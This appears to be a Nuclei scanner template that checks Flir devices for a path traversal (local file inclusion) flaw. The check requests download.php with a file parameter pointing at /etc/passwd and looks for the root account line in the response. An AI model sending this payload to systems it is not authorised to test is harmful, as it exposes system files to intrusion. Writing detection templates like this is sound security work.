id: flir-path-traversal

info:
  name: Flir - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Flir is vulnerable to local file inclusion.
  reference:
    - https://juejin.cn/post/6961370156484263972
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: flir,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210091cf59b2ce544d8a8c98cfe5b6afe3ac6c2f8931a11e04ee742ab17c9ba44caf022013036efe5222cb4b60f6bda3ad2b28b83d86023c1ff3a8727b6e7ee5f6336a77:922c64590222798bb761d5b6d8e72950